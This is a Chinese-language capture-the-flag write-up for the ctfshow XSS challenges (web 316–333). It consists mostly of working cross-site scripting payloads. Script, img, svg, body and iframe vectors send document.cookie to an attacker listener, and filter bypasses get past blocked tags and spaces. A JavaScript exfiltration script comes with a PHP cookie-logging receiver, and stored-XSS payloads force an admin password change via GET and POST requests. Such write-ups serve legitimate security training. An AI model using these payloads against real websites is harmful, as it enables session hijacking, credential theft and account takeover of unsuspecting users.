ctfshow—XSS

web 316(反射型)

测试<script>alert(1)</script>,无过滤

在服务器上开启监听

python3 -m http.server 39543

外带数据:

<script>location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.open('http://x.xx.xx.xx:39543'+document.cookie)</script>

img标签

<img src='' one rror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

svg标签

<svg onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

body标签

<body onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

iframe标签

<iframe onl oad="window.open('http://x.xx.xx.xx:39543/'+document.cookie)"></iframe>

web 317(反射型)

过滤了script标签,利用img标签

<img src='' one rror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 318(反射型)

使用svg标签

<svg onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 319(反射型)

使用body标签

<body onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 320-326(反射型)

过滤了空格,用/或者水平制表符绕过

<body/onload=document.location="http://x.xx.xx.xx:39543/"+document.cookie>

web 327(存储型)

无过滤,注意收件人是admin

ctfshow—XSS

web 328(存储型)

构造用户名触发存储型XSS盗取管理员cookie,伪造管理员

注册:

ctfshow—XSS

监听:

ctfshow—XSS

再替换原来的cookie,访问用户管理界面即可

web 329(存储型)

此题之后,设置了在把cookie发送给你之前就失效了,所以需要用其他方式获取页面元素

<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>

或者自己搭建:

test.js

var img = new Image();
img.src = "http://your-domain/cookie.php?q="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);

cookie.php

<?php
$cookie = $_GET['q']; 
$myFile = "cookie.txt"; 
file_put_contents($myFile, $cookie, FILE_APPEND);
?>

web 330(存储型)

新增了修改密码的功能,按照上一题方法获得的数据是加密的

可以使用:

<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>

但预期是修改管理员密码

注册:

<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>

这样管理员在查看用户管理界面时就会修改密码

web 331(存储型)

仍然是修改密码,但请求变为了POST请求

模板:

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

所以构造:

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>

web 332

逻辑漏洞

注册一个账号<script>alert(1)</script>,再给其他收款人转负数的钱,自己钱增加

最后购买flag即可

web 333

逻辑漏洞

只能自己向自己转账且只能转低于目前钱数的金额,利用bp跑一下

参考:

https://blog.csdn.net/solitudi/article/details/111568030

http://www.yongsheng.site/2021/04/20/ctfshow%20web%E5%85%A5%E9%97%A8(xss)/

上一篇:极值充分条件


下一篇:XX:MaxMetaspaceSize 的用处